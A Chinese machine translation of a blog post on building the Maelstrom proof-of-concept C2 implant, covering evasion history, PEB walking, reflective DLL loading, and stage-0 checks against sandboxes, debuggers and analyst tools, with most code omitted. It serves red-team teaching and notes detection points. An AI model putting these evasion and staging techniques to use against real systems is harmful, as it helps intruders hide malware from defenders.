首页
社区
课程
招聘
[翻译]漩涡#4:编写一个C2植入物
发表于: 2023-8-25 08:33 10893

[翻译]漩涡#4:编写一个C2植入物

2023-8-25 08:33
10893

原文标题:Maelstrom #4: Writing a C2 Implant
原文地址:
https://pre.empt.blog/2023/maelstrom-4-writing-a-c2-implant
由于作者博客迁移的原因,原文中的图片已经失效,我在archive中找到了别人保存下来的网页:https://web.archive.org/web/20221126191352/https://pre.empt.dev/posts/maelstrom-the-implant/
本文由本人用chatgbt翻译而成,Maelstrom是一个概念验证的命令与控制框架,具有Python后端和C++植入程序。

到目前为止,我们已经讨论了C2的目的和意图,以及植入物和服务器的设计考虑。
在本文中,我们将超越理论讨论,开始构建一个基本的植入物。我们将从2010年以来攻击和防御技术的演变开始,以便对当前的技术环境有更全面的了解。然后,我们将像之前的文章一样,讨论一些重要的概念,这些概念将被纳入植入物中。最后,我们将详细介绍植入物的设计,为我们的示例C2植入物Maelstrom编写阶段0和阶段1的基础部分。
在讨论C2植入物时,人们常常说他们的植入物是完全不可检测的(讽刺的是,"FUD")。一个新编写的植入物,如果以前从未见过,将是不可检测的,因为它以前从未被发现过。因此,在磁盘上甚至在运行时,它都不会被标记为恶意。然而,这并没有考虑到运行时的检测、Windows生成的遥测数据,以及现代端点检测所使用的各种声誉评级方法。
在2022年,还没有所有公司都实施了所有可用的保护措施,包括全面的安全信息与事件管理系统(SIEM)以及在每个设备上安装EDR代理。这可能给人一种不需要像我们在本文中讨论的步骤那样的印象,但这只是因为尚未遇到除了Defender以外的其他环境。通过命令解释器运行命令的日子已经过去了,现在的情况已经不同了。

本文将涵盖以下内容:

一旦实现了这些阶段,您将拥有一个能够执行基本检查的植入物,并可作为进一步增强的基础。在以后的博客中,您可以探索更复杂的功能、规避技术和操作安全(opsec)特性。有关规避技术的更多信息,可以参考Check Point Research的《规避技术》一文作为参考。
正如我们在之前的每篇博文中提到的,并将在以后的每篇博文中继续提到的,该代码将用于说明功能,但远远不能立即在功能完整的C2中使用。
阶段0:

阶段1:

有关规避技术的更多信息,可以参考Check Point Research的《规避技术》一文作为参考。

多年来,随着防御技术和流程的改进,代码执行变得越来越复杂,需要更复杂的方法。在本节中,我们希望详细探讨这个领域中攻击和防御的演变和历史。通过这样做,我们希望能够增进对于为什么在当今红队环境中某些行为是绝对必要的的理解。
虽然某些植入物可能经过反病毒的验证,能够在系统中无检测地运行并执行命令,与具备最新EDR和正确配置的SIEM的网络中作为可行的C2运行相比,这还有很大差距。实际上,如果没有采取这些措施,红队可能无法为组织提供价值,因为许多建议对于具备这种程度成熟度的网络来说根本不适用。

在过去,当Metasploit当道的时候,可以通过从shell中运行命令来逃避检测。这意味着在托管主机上运行的implant.exe会调用cmd.exe,然后在/c标志中包裹命令。这将生成以下进程树:

这种方法在没有针对特定行为执行运行时规则时是可行的。同时,在那个时期,我们还有一击必杀的漏洞利用(例如MS08-67),基本上可以作为轻松利用的漏洞,获得NT AUTHORITY/SYSTEM访问权限。
当然,我们无法代表每个反病毒软件供应商,但在那个时期,几乎所有的检测都是基于静态分析,并需要已知的恶意软件家族。在现代,静态检测仍然部分适用,但现在有很多公司(如Virus Total)通过众包检测和采用机器学习技术进行适应,例如Intercept X: Powered by Deep Learning

从cmd.exe阶段开始,社区进入了一个非常以PowerShell为导向的风格。这催生了2016年的项目Empire,它是第一个完全用PowerShell编写的命令与控制(C2)框架。与此同时,还产生了最初的PoshC2。当时,PowerShell的表现非常出色。与此同时,Antimalware Scan Interface(AMSI)也开始兴起。根据《This is how attackers bypass Microsoft's AMSI anti-malware scanning protection》的发布时间,似乎是在2015年。在当时,而且在今天仍然如此,绕过AMSI是相对容易的。正因如此,诸如amsi.fail之类的网站应运而生,用于生成来自以下来源的混淆的AMSI绕过:

在2016年左右,Invoke-Obfuscation被开发出来,用于严重混淆PowerShell代码。稍后在2016年,Raphael Mudge撰写了《Modern Defenses and YOU!》。这篇博文详细介绍了为什么运营人员应该远离PowerShell,原因是它的普及性。这一点在2017年得到了微软的加强,他们发布了《Defending Against PowerShell Attacks》,随后Matt Graeber发布了一条推文,暗指PowerShell过于流行,而新技术则是.NET
在所有这些情况下,所有进攻性的PowerShell所需的各个方面都被集成到了一个套件中:PowerSploit
Cobalt Strike 3.11引入了execute-assembly的功能,这决定了未来几年的发展方向...
在安全行业的防御部分,由于高级持续性威胁(APTs)越来越多地使用零日漏洞,其中部分被归因于军方组织,反病毒软件供应商开始转向检测和缓解零日漏洞的迁移。
在这段时间里,我们看到了CrowdStrikeSentinelOneCylance等公司的崛起。我们不知道这些公司的内部情况以及它们是如何、何时、为何开始实施基于内存和技术的检测的。但是,在这段时间内,很可能出现了诸如用户空间 Hooking、注册内核回调以确定可疑行为,以及引入Lua等语言来编写解析此类保护生成的日志的规则的技术。以这种方式使用Lua是Microsoft Defender for Endpoint(MDE)的已知用例,并已被研究人员提取,正如在ExtractedDefender中所看到的那样。

当Cobalt Strike引入execute-assembly功能时,.NET的使用量激增,并且在今天仍然相当受欢迎。诸如SharpCollection之类的项目被创建出来,每天发布一系列工具,但这只是互联网上攻击工具的冰山一角。在这个时期,Covenant成为第一个将.NET作为C2框架普及化的工具。
很可能由于这种流行度,微软增加了对AMSI的向后兼容性和普遍支持。在《.NET 4.8的新功能》中,可能包括以下内容:

.NET Framework的4.8版本起,运行时使用Windows Defender或第三方防恶意软件对从磁盘加载的所有程序集进行防恶意软件扫描。然而,通过其他来源加载的程序集,例如通过Assembly.Load(Byte)方法加载的程序集,则不会进行扫描,可能潜藏有未被检测到的恶意软件。从运行在Windows .NET Framework 4.8版本起,运行时会触发实现了Antimalware Scan Interface(AMSI) 的防恶意软件进行扫描。

在当时,这项改进在网络上得到了一些赞誉。但通过对程序集进行深度混淆或创建.NET加载器来加密和反射恶意工具,或者使用Assembly.Load方法加载,这种扫描方式仍然可以轻松应对。在2020年,Dominic Chell进行了一次出色的演讲,题为《Offensive Development: Post Exploitation Tradecraft in an EDR World》,详细阐述了这个问题。
类似于PowerShell,SharpSploit的出现解决了许多攻击需求。可以认为,当为某种语言开发了完整的攻击套件时,这可能标志着该语言时代的结束。
大约在2019/2020年左右,社区开始尝试使用NimDynamic Language Runtime Overview (DLR)等技术,开展了一些项目,如SILENTTRINITYOffensiveDLR,以探索新的方法和工具。

类似于execute-assembly,Cobalt Strike在4.0版本中通过引入inline-execute功能,以"自带武器化"的方式,部分改变了传统的工具方法:

最后,Cobalt Strike 4.0引入了内部的内联执行(inline-execute)后渗透模式。内联执行将所需的功能传递给Beacon,以内联方式执行,并在执行完成后清理该功能。这种后渗透接口为未来能够在Beacon的进程上下文中执行功能的功能开发铺平了道路,同时避免了代理本身的臃肿。

除了内联执行(inline-execute),Cobalt Strike还引入了Beacon Object Files的概念:

Beacon Object File(BOF)是一个编译的C程序,按照一定约定编写,使其能够在Beacon进程内执行并使用内部的Beacon API。BOF是一种快速扩展Beacon代理的方式,可以添加新的后渗透功能。通过编写BOF,可以利用C语言的强大功能和灵活性,为Beacon代理提供定制的、高级的后渗透功能。

实质上,Beacon Object Files(BOF)只是经过特殊设计的通用对象文件格式(COFF)文件。正如TrustedSec在《开发者介绍Beacon Object Files》中指出的,它们的好处在于操作者能够在Beacon进程内部运行代码,避免创建子进程,而内置的execute-assembly功能则存在这种问题。
TrustedSec随后发布了以下内容:

与此同时,一些人开始通过重写CLR并将其作为RDLL来重新解释execute-assembly函数:

由于对Cobalt Strike关键部分的大量改写投入,新的C2控制器源源不断涌现。尽管自定义C2开发一直是该行业的一部分,但Cobalt Strike的现成性质和市场主导地位似乎使这一活动黯然失色。然而,从2019年开始,越来越多的课程博客开始认可自定义C2作者身份的概念,将其视为商业C2的可行替代方案,甚至是一种简单的学习练习。这种趋势表明,自定义C2的概念在安全社区中得到了广泛认可,并成为一种有吸引力的选择。

在我们的经验中,多年来Cobalt Strike一直是主流的C2控制器。即使其他C2控制器不断增长,Cobalt Strike仍然是与之相比较的C2控制器,就像Sennheiser HD600是攻击工具中的代表。Cobalt Strike的界面和操作(以及之前的Armitage)仍然被视为“C2控制器的典范”,至少在我们的认知中如此。尽管我们很少见到有人模仿其设备画布(或者可惜地是闪电效果)。
虽然也有其他项目可以辩称自己的优势,但多年来,Cobalt Strike一直在引领整个安全行业,无论是攻击方还是防御方。该项目频繁发布的信息密集的博客和视频帮助攻击团队和防御团队改进技术,这在其他供应商中是少见的。
Raphael Mudge的视频播放列表包括:

Cobalt Strike博客(整个博客)

研究人员长期致力于“如何改进Cobalt Strike中的某个功能”,而实际上构建新的独特工具的变化只是在过去几年发生的。对于防御团队来说,Cobalt Strike仍然是经常出现的工具,而且在相当长的一段时间内都将如此。这归因于多年来的泄漏和漏洞以及其持续的有效性。
自从Raphael Mudge离开团队后,Help Systems主要致力于提高Cobalt Strike的稳定性,这给检测工作提供了很多时间来迎头赶上。因此,Cobalt Strike在磁盘和内存中的检测率大幅提高。显然,Cobalt Strike仍然是一种完全可行且优秀的C2控制器选择,但该行业已经开始出现一些与Cobalt Strike竞争的巨头。
作为回应,Cobalt Strike在最近的帖子中开始讨论开发更具隐蔽性的功能,例如:Arsenal Kit Update: Thread Stack SpoofingCobalt Strike Roadmap Update进一步讨论了这一点,展示了他们未来的发展方向。
随着Raphael Mudge的离开和研究工作的减缓,行业开始构建自己的工具,以减少他们需要处理的签名数量。随着越来越多的人开始构建这些工具,C2 Matrix应运而生,以跟踪它们。然而,有两个巨头处于先进功能的前沿:

这两个产品都提供了内置的先进隐蔽技术,旨在在具有高级保护级别的复杂环境中使用。
通过从头开始编写全新的C2控制器,操作者可以完全控制植入物和通信。例如,随着内存扫描的使用越来越普遍,可能需要改变植入物所在内存区域的页面权限。如果操作者使用Cobalt Strike,可以使用类似ShellcodeFluctuation的工具。然而,这里的问题是它是额外的一段要执行的Shellcode,并且它在KERNEL32!Sleep函数上设置了一个钩子,增加了威胁指标。而如果C2控制器完全开放给操作者,这只需是一个可以在每个植入物上启用或禁用的设置。
在现代防御中,它是我们最近讨论的内容的延续。然而,这些技术的内部经过了无数的研究和开发,以增强其能力。我们还看到了将威胁情报引入Windows事件跟踪(ETW)中的ETWTi(Event Tracing for Windows Threat Intelligence)的引入,关于此内容可以在《引入威胁情报ETW》中了解更多。除了引入ETWTi数据源,还广泛使用了更通用的ETW数据源。例如,使用DotNet Runtime跟踪来确定加载的程序集。
在接下来的两篇博文中,我们将介绍如何实施其中的一些技术,包括ETWTi、用户态钩子、ETW、AMSI和内存扫描。

在本节中,我们想概述一些在构建植入物时会涉及到的主题,以便它们能够合理并有效地展示植入物。

在讨论操作系统的Shell命令时,并不仅仅指cmd.exe。每种编程语言都有相应的方法来生成子进程并执行命令。以下是其中的几个例子:

我们已经多次提到过,现在让我们看看为什么在后期渗透中使用cmd.exe是一个不好的选择。在传统环境中,直接在主机上运行命令可能被操作员视为正常行为。然而,正如我们所探讨的,当下的环境中,操作员可以期望更高水平的检测和感知能力。日志记录的进步,特别是在Windows系统中,以及对哪些事件值得关注的更深入了解,加上EDR和其他安全设备的存在,导致了这样一种情况:直接运行命令最坏的情况下可能立即被视为威胁指标,最好的情况下也是一种极具可疑性的活动,这可以从其正式的MITRE ATT&CK参考中看出:命令和脚本解释器(T1059)
虽然LOLBINs(Living Off the Land Binaries)和aliases仍然发挥作用,但将它们用于下载和命令执行是一种依赖于模糊性的操作安全性。依赖越来越不为人知的Windows内置功能的技术可以很快通过简单的阻止列表来中和。这可以通过在植入物中重新实现逻辑,或者找到命令本身使用的基本函数并直接调用它们来实现,从而绕过通过cmd.exe运行命令的调用。
从根本上讲,Windows无法阻止Windows自身必须使用的功能。由于这些调用在Windows中无处不在,每个Windows功能都使用了它们,它们现在依赖于EDR使用钩子和回调来检测可疑行为。
总的来说,与基于操作系统的命令执行或随机LOLBINs相比,使用WinAPI可以有更多重新实现和重构代码的方式。这是Cobalt Strike在其《Beacon命令的OPSEC注意事项》中记录的内容,强调了在执行命令时考虑操作安全性的重要性。

WinAPI(Windows应用程序编程接口)是从各种DLL(动态链接库)中导出的函数,其中大部分可以在c:\windows\system32目录中找到,它们提供了对Windows各种组件的访问。其实用性非常广泛,无法一一讨论,但这里举一个例子。在Kernel32.dll中有一个名为VirtualAlloc的函数:

大部分这些API都在MSDN上有文档记录。由于这些函数是由Microsoft编写并标记为专有的,因此像ReactOS这样的项目试图重新创建它们。所以,在未来的博客中,当我们讨论用户空间钩子等内容时,我们还将讨论如何以及为什么重新实现函数而不使用函数通常可以避免特定的检测。
不过,目前来说,WinAPI为我们提供了调用,使整个过程更加简便。

Windows是一种面向对象的操作系统,意味着操作的一切都是对象,并且都具有某种形式的数据结构。进程也属于这个范畴。一个进程,比如calc.exe,有一个名为进程环境块(Process Environment Block,PEB)的对象,其中包含各种信息:

所有这些信息都以一种类似下面的结构存储:

在本博客中,我们将大量与PEB进行交互,主要是为了列举加载的模块等操作。由于这是一个相当广泛的主题,我们不会详细讨论所有内容,但会提供一些推荐的阅读材料。但现在,可以将PEB视为构建进程的结构。

当我们谈论位置无关代码(Position Independent Code,PIC)时,我们指的是以非常特定的方式编写的C代码,具有额外的限制。目标是将所有计划执行的代码放在PE文件的.text节中。
正常编写的C代码会导致代码的不同部分存储在不同的节中:

尽管存在所有这些限制,我们仍然可以实现我们的目标。我们只需要以非常特定的方式编写代码,避免这些不同的节分配。通过这样做,我们确保所有的代码都在.text节中。我们需要这样做,因为这是存储所有二进制代码所需的节。如果代码的一部分在.bss节中,那么它将崩溃,因为我们只会提取.text节的内容。
例如,假设我们有以下字符串:

由于这是只读初始化数据,它将存储在.rdata节中。要使其成为PIC,我们可以这样编写:

如果我们想使用VirtualAlloc函数,如果直接调用它,它将作为Kernel32的导入函数。为了解决这个问题,我们需要动态加载DLL,并解析函数地址(稍后会详细介绍)。
最后,为了确保我们不受CRT(C运行时库)控制PE的执行流程,我们需要确保入口点不是main或其他形式的winmainwmain等。稍后我们将在Makefile中展示这一点。
更多相关信息,我们推荐阅读《PE Reflection: The King is Dead, Long Live the King》。

当讨论植入物时,支持后期利用工具有几种方法。在大多数情况下,植入物将其大部分功能嵌入到植入物本身中。因此,当植入物接收到命令时,该命令将通过某种形式的switch语句进行处理:

或者,植入物可以作为加载器运行,支持以下功能:

这种方法确保实际的植入物相对较小,且所有功能都是模块化的。然而,这样做的代价是为每个任务进行不断的内存分配。选择的方法完全取决于具体的用例,但应该对其进行考虑和解决。在我们的情况下,我们将坚持传统的将所有功能嵌入到植入物中的方法。

如果植入物是为.NET编写的,那么一个简单的程序集动态加载即可。然而,这不是我们所讨论的植入物类型。对于使用C(C++)编写的植入物,有一些可以选择的植入物类型。

植入物可以很好地采用位置无关的方式,并且可以解析入口点,这在SleepyCrypt中可以看到,其中功能使用VirtualAlloc进行分配,并转换为函数指针,如下所示:

更常见的做法是将植入物编写为动态链接库(Dynamic Link Library,DLL)。DLL通常使用LoadLibraryA函数进行加载:

这里的问题在于LoadLibraryA函数要求DLL在磁盘上存在,这将违反OpSec的黄金规则:不要写入磁盘。这样做会留下痕迹,允许植入物被签名,导致更多时间用于尝试破解签名。

OpSec的黄金规则是:不要写入磁盘!*
除非你需要这样做,或者你知道如何避免被检测,或者...还有其他的例外情况...

这导致了一种被称为反射性DLL(Reflective DLL)的技术,最早由Stephen Fewer在大约11年前开发。ReflectiveDLLInjection存储库包含了最初的代码。此后,该技术已经进行了更新,但我们来讨论一下最初的版本。描述如下:

反射性DLL注入是一种库注入技术,它利用反射性编程的概念,将一个库从内存加载到宿主进程中。因此,库本身负责通过实现一个最小化的可移植可执行文件(Portable Executable,PE)加载器来加载自身。然后,它可以在与宿主系统和进程的最小交互下,控制如何加载和与宿主进行交互。

基本上,RDLL(反射性DLL)的分配过程类似于典型的shellcode:

但是,在创建线程之前,会通过搜索进程环境块(PEB)中的导出目录以及所有导出项来计算相对虚拟地址(RVA),以确定RDLL的导出函数(即DLL中公开的函数)。
另请参阅:.edata节,稍后更详细了解PEB结构。
一旦找到导出地址,将其偏移量添加到为RDLL分配的内存空间的基地址上,如下所示:

现在只需要在这一点上创建线程来执行加载器即可:

所有这些内容都可以在存储库的LoadRemoteLibraryR中找到。
导出的函数可以在ReflectiveLoaderDLLEXPORT中找到;这是线程触发的函数。代码有很好的文档说明,所以我们不会讨论代码库。
关于RDLL存在一些问题,我们将在将来的帖子中进行静态/动态分析时讨论它们。对于防御者来说,请确保有这种技术的签名,并确保将ReflectiveLoader字符串视为恶意的,就像在alienvault.com上所看到的那样:

这是我们在Maelstrom中将采用的技术。

在《Maelstrom:C2架构》中,我们讨论了植入物将采取的执行流程:

通过将Stage 0加载器设计为位置无关的,我们可以将其包装成所需的任何其他形式的加载器。一旦Stage 0执行,它将加载一个反射式DLL,这将是主要的植入物(Stage 1)。
简单明了。

在介绍Maelstrom中的分段器之前,我们需要了解Maelstrom如何解析WinAPI函数。为了在本系列中保护我们实际的C2功能,我们选择使用公开可访问的代码。一个解决方案是paranoidninja/PIC-Get-Privileges/blob/main/addresshunter.h,另一个可能的选择是Speedi13/Custom-GetProcAddress-and-GetModuleHandle-and-more/blob/master/CustomWinApi.cpp#L168
解析PEB(进程环境块)并不是一项困难的任务,在互联网上有很多相关资源。CAPA甚至提供了相应的规则。以下是Paranoid Ninja示例中的函数:

首先,将模块的基地址传递并将其转换为uiModuleAddress的类型为UINT64的变量:

这样做是为了识别导出目录(Export Directory),这是一种常见的技术:

通过将基地址和DOS头中的e_lfanew偏移相加,可以获取NT头的偏移量。然后,使用该值提取数据目录结构。最后,通过将模块基地址与数据目录的虚拟地址进行偏移,可以具体获取导出目录。这样就成功获取了导出目录的访问权限。
现在,只需要循环遍历从该导出目录中获取的所有导出函数,直到找到匹配的字符串为止:

由于无法使用strcmp函数而不进行解析,更容易获取源代码

strcmp匹配成功时,在break语句之后返回symbolAddress

那么,模块基地址从哪里获取呢?

代码中定义了三个 DJB2 哈希函数:

通过解析 PEB(进程环境块),我们可以获得 DLLBase(动态链接库基址):

首先,获取 PEB 结构体:

其中,PPEB_PTR 定义为:

通过读取偏移量为 0x60 的地址,可以访问到 PEB。接下来,我们可以通过简单地访问来获取 PEB_LDR_DATA 结构体:

然后,获取模块列表的访问权限:

根据结构体定义:

接下来,可以循环遍历模块列表,直到找到哈希值匹配的模块。当匹配成功时,那就是所需的 DLL。
现在只需要将其转换为函数类型,但在此之前,请看一下这些API是如何存储的:

在使用 LoadLibraryA 的情况下:

接下来可以使用它:

首先定义了一个字符串 cWinHTTP,用于指定要加载的 DLL 的名称。然后,通过将 api.LoadLibraryA 转换为 LOADLIBRARYA 函数类型指针,并传递 cWinHTTP 字符串作为参数,调用 LoadLibraryA 函数来加载指定的 DLL。加载成功后,返回的 HMODULE 存储在 hWinHttp 变量中,可以在后续的代码中使用。
至此,接下来是进入执行器(stager)阶段!
快速回顾一下 Stage 0。在在主机上运行恶意代码之前,将进行一些初始的枚举和检查。对于对手模拟的演练,这可以将攻击者限制在范围内,同时确保只有在安全的情况下执行植入代码。
此外,此入口点将是位置无关的;这意味着所有的代码都将位于 .text段中,允许提取操作码,从而提供在其他方法中执行的 shellcode。
需要注意的是,本文不会详细讨论位置无关代码(Position Independent Code),建议阅读文章《Executing Position Independent Shellcode from Object Files in Memory》以了解更多相关内容。

在这一部分,我们将讨论一些可以添加到 stage 0 的功能。显然,并不需要全部添加,但这些功能可能会有趣和/或有用。

首先,环境密钥(Environmental Keying)或保护栏(Guardrailing)具有两个目的:

第二点可以完全自动化,这在 Maelstrom 中并不常见,但很容易将一些信息发送回 C2,并在将 DLL 返回给执行器(stager)之前使用该信息对其进行加密。
至于实现方法,有很多种,坦率地说,这取决于创造力。以下是一些示例:

更简单的方法是使用 GetComputerNameWGetUserNameW 等函数。这是相当基本的方法,可以结合使用这些函数调用的组合。
在 Maelstrom 的情况下,我们只需对计算机名进行哈希运算,并使用以下函数进行检查:

这样调用该函数:

要使用这种技术对有效载荷进行AES256加密,可以在《Greta:WindowsCrypto,andRecursiveKeying》中找到详细说明。
所以,回到关键化的问题。如果计算机名不匹配,函数将返回 -1 并退出。否则,它将继续执行。

这是一个有趣的方法,它增加了一个额外的层面来阻碍蓝队的工作。它非常简单,如果发现有进程存在,就退出。在下面的示例中,只检查了一个进程,但循环检查多个进程也不是问题:

循环遍历所有进程,如果进程的哈希值与预定义的哈希值相同,则返回 TRUE。在这种情况下,哈希值对应的进程是 Process Hacker.exe

这样执行:

沙箱是自动化分析和确定恶意软件目的的重要工具。基本上,它们在隔离的虚拟机环境中运行恶意软件,观察其行为并生成报告。
通常,沙箱是运行在具有有限等待时间的小型虚拟机中。以下是处理沙箱的一些常见解决方案:

这些仅是处理沙箱的一些常见解决方案。对于 "maelstrom" 这个案例,我们只是简单检查 RAM 大小是否大于 4:

如果这个函数返回为真,我们将继续执行。
结合延迟等待:

反调试技术需要创造力。像LordNoteworthy/al-khaser这样的代码库提供了许多这样的示例。然而,Maelstrom采取了更简单的方法:

在这段代码中,读取了进程环境块(PEB)结构,并检查BeingDebugged字段,以确定是否附加了调试器。如果BeingDebugged设置为1,表示调试器处于活动状态。
Al-Khaser的反调试部分提供了许多可以根据需要实现的方法。
这些技术对于在检索恶意软件有效,它们能够减慢蓝队在确定恶意软件用途和进一步识别服务器方面的速度。然而,重要的是要注意,反调试不应该是唯一的方法。例如,如果恶意软件正在被调试,并且发现了服务器的IP地址,则应该在服务器端实施保护措施,以控制允许哪些植入物与服务器通信。

为此,我们将使用 WinHTTP 作为代码已经准备好且可访问的库。然而,这是一个相对较旧的库,而 WinInet 则更为现代化。为了代码的可读性,定义了以下结构体:

然后将其传递给函数中:

我们很快就会解决这个问题。但首先,定义了请求的配置:

这些字符串是硬编码在函数中的,不支持任何形式的更新。另外,服务器要求的密码是硬编码在标头中的。最后,这些字符串以数组格式存在,以便将它们放置在 .text 段中。
现在我们创建一些变量,包括端口:

我们不会逐行解释代码,但有几点需要指出。
如果使用 SSL,设置以下标志:

然后:

接下来,以下是如何添加请求头:

如果需要多个头部信息,那么WCHAR需要将它们包含在同一个字符串中,并按照RFC的规定包含\r\n换行符。
请求完成后,我们填充结构体:

整个过程封装在以下请求中:

在第一阶段中,我们将讨论为什么选择了反射式 DLL 以及它是什么,但现在让我们讨论如何加载它。以下是用于执行 DLL 的代码供参考:

memcpy 函数使用源代码重新实现:

我们之前讨论过这个问题,但让我们重新回顾一下。首先,我们需要确定导出函数的偏移量,以便获取正确的地址来在函数上启动线程:

现在让我们看一下 GetReflectiveLoaderOffset() 函数。
函数的声明如下:

这里的参数是从服务器获取的包含 DLL 的unsigned char*缓冲区。
首先,定义导出函数的名称:

接下来,从缓冲区中识别出 IMAGE_DOS_HEADER 结构:

这是结构体的定义:

从这里开始,提取了 IMAGE_NT_HEADERS

这是结构体的定义:

提取导出目录、虚拟地址等等:

然后通过将 RVA 强制转换为偏移量,循环遍历所有导出的函数名:

其中 Rva2Offset() 是:

然后,使用自定义的 strstr 函数将导出的名称与我们在开头硬编码的名称进行比较:

在这一点上,应该有一些明显的操作安全问题,如果它们不明显,我们将在接下来的几个部分中指出!
完成这一步后,获取到导出函数的基地址后,我们可以简单地在其上启动一个线程:

除了这里明显的IOC之外,还有一个缺少的 WinAPI 调用,用作清理操作... 在操作安全审查帖子中详细介绍。

这是当前阶段的样子:

我们认为这是安全版本,因为它具备我们讨论过的所有检查。由于 SAFE 是一个预处理器定义,我们可以通过将 -DSAFE 标志传递给 MingW 来控制是否使用它。
以下是 Makefile 示例:

对于敏锐的眼睛,这是完全无位置限制的,我们可以在帖子的最后展示这一点。

第一阶段,或称为 Maelstrom.x64.dll,是实际的植入物。尽管使用典型的 PE 文件并在main进程中运行很诱人,但最好不要这样做。如果使用类似 sRDIDonut 的工具,它们通过引导 PE 文件来工作。为了避免这种情况以及其他复杂性,我们发现反射式 DLL 是最有效且最易于使用的方法。

正如我们之前讨论的那样,Stephen Fewer 提供了反射式 DLL 的第一个概念验证。此后,社区开发了几个迭代版本:

对于我们的演示,我们将使用最初的概念验证,因为它使用了常见的IOC(指标源),我们希望将其保留在项目中,以确保 Maelstrom 可以被轻松检测到。

一旦 DLL 从 Stage 0 被加载,DllMain 将是:

当 DLL 的加载原因是 DLL_PROCESS_ATTACH 时,会在 Maelstrom() 上创建一个新线程,代码如下:

要在 Visual Studio 中调试此代码,将检查预处理器定义 _DEBUG 是否存在。如果不存在,则允许创建线程。否则,我们将解析此函数:

为了进行调试,编写了一个单独的加载器:

我们发现这比使用 x64dbg 更清晰方便的调试体验。

一旦植入物启动,首先发生的是一些基本的枚举操作,用于识别主机:

在上述代码中,进程、计算机和用户名被打包成一个 JSON 字符串,同时包含进程 ID。然后,这个字符串与一个硬编码的十六进制值进行异或运算,作为概念验证。在生产中的 C2(命令与控制)中,这个过程应该使用像 AES256-CBC 这样的加密算法对数据进行加密。由于这只是一个示例项目,我们不关心这一步。
这是在《Maelstrom: Building the Team Server》中讨论的一点,它使得客户端和服务器之间传输的数据变得难以阅读。无论是多层加密还是将数据伪装为 MAC 地址,我们强烈建议对数据进行某种转换。对于这个演示,我们不关心这些细节,所以只是将数据发送到 Initialise() 函数中:

这只是对 SendRequestA() 函数的一个包装:

SendRequestA() 函数使用 WinHTTP,并依赖于一系列的 WinAPI 调用。因此,让我们来看一下请求的配置。
与第 0 阶段类似,配置是硬编码的:

还有一些额外的配置:

再次重复一遍,不要将这些配置硬编码。
初始化完成后,我们调用 Start() 函数:

这是我们模拟的任务调度功能。基本上,它作为植入物的一个组件,用于检查、运行和返回任务。然而,我们并未提供该功能。

其中一个重要的问题是植入物在操作之间在内存中的表现形式。如果植入物处于空闲状态且没有任务可执行,它应以一种方式进入休眠状态,以避免被内存扫描工具或工程师轻易识别为恶意代码。这是我们在运行时分析中会更详细讨论的问题,但让我们快速浏览一下。如果使用 Process Hacker,并且识别出 RWX(可读、可写、可执行)区域,那么该区域的外观如下所示:
图片描述
在上述内容中,我们可以看到 MZ 头部、DOS 消息和各种节(section)名称。这些信息需要被删除,但我们不会提供解决方案,因为我们希望与第一节中设定的目标保持一致。然而,我们将为热衷的读者提供一些示例项目:

在2022年5月5日,Austin Hudson发布了一条推文,并附带了一篇博客文章,标题为“研究'下一代恶意软件' - NightHawk的混淆和休眠尝试”。

这篇博文详细介绍了Austin是如何识别出一份来自英国网络安全咨询公司MDSec的专有C2工具NightHawk的样本。在该博文中,Austin讨论了该技术如何使用线程上下文和回调来翻转内存区域的权限(我们将在后续的文章中进一步讨论此技术)。

为了明确起见,这项技术的研究工作是由 MDSecPeter Winter-Smithmodexp 代表进行的。
在 Austin 公开了这个概念验证之后,C5pider 将其扩展成了一个名为 Ekko 的开源工具。然而,该概念验证使用整个映像的基地址作为要保护的区域,这仅在恶意软件作为整个磁盘上的可执行文件或正确加载的 DLL 时才起作用。这可以在第36行中看到:

如果恶意软件希望完全通过内存加载植入物,例如反射式 DLL,这种技术将无法工作,因为 GetModuleHandleA 调用将获取 DLL 被加载到的映像的基地址。例如,假设 DLL 被反射加载到 calc.exe 中,则 GetModuleHandleA 将返回 calc.exe 的基地址。

根据您提供的信息,我们已经有了第 0 阶段的位置无关代码,并且为每个第 0 阶段类型生成了一个 exe 和 bin 文件。您可以使用以下命令从 bin 文件中获取十六进制代码:

这将生成一个名为 shellcode.h 的头文件,其中包含类似以下的代码:

然后,您可以使用以下代码将 shellcode 加载到内存中:

上述代码将使用 VirtualAlloc 在内存中分配一块可执行的内存区域,并将 shellcode 的内容复制到该内存区域中。然后,使用 CreateThread 创建一个新线程来执行 shellcode。由于 shellcode 在加载 RDLL 时会创建一个新线程并退出,导致我们等待的线程成功退出,所以我们在上述代码中使用了 Sleep 而不是调用 WaitForSingleObject。这样,为了演示目的,我们只是让程序睡眠一段时间。
请注意,如果定义了SAFE,则 shellcode 的大小可以达到 8192 字节。
要了解 Metasploit 如何将其 payload 大小减小到如此之小,请查看 block_reverse_https.asm 文件和 build.py 构建脚本。
现在已经实现了可加载的 shellcode,可以将其包装在任何 shellcode 加载器中:

你可以选择任何一种,都应该可以工作!

经过漫长的努力,我们终于拥有了一些可以运行的代码,并制定了进一步提升功能和安全性的计划。从提高植入物的运行安全性到完善通信渠道,我们有许多不同的方式可以推进植入物的发展。
迄今为止,这篇博文在内容上更偏向于进攻,并且在运行安全性方面的讨论较为有限。正如我们所讨论的,防御性技术,如钩取 AMSI(Antimalware Scan Interface)和 ETW TI(Event Tracing for Windows Threat Intelligence),对植入物的运行安全性构成了严峻的限制。我们接下来的两篇博文将详细介绍这些保护机制的工作原理以及植入物如何尝试绕过它们。

public void ExecuteCommand(String command)
{
   Process p = new Process();
   ProcessStartInfo startInfo = new ProcessStartInfo();
   startInfo.FileName = "cmd.exe";
   startInfo.Arguments = @"/c " + command; // cmd.exe特定的实现
   p.StartInfo = startInfo;
   p.Start();
}
public void ExecuteCommand(String command)
{
   Process p = new Process();
   ProcessStartInfo startInfo = new ProcessStartInfo();
   startInfo.FileName = "cmd.exe";
   startInfo.Arguments = @"/c " + command; // cmd.exe特定的实现
   p.StartInfo = startInfo;
   p.Start();
}
-> implant.exe
  -> cmd.exe
    -> whoami.exe
-> implant.exe
  -> cmd.exe
    -> whoami.exe
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
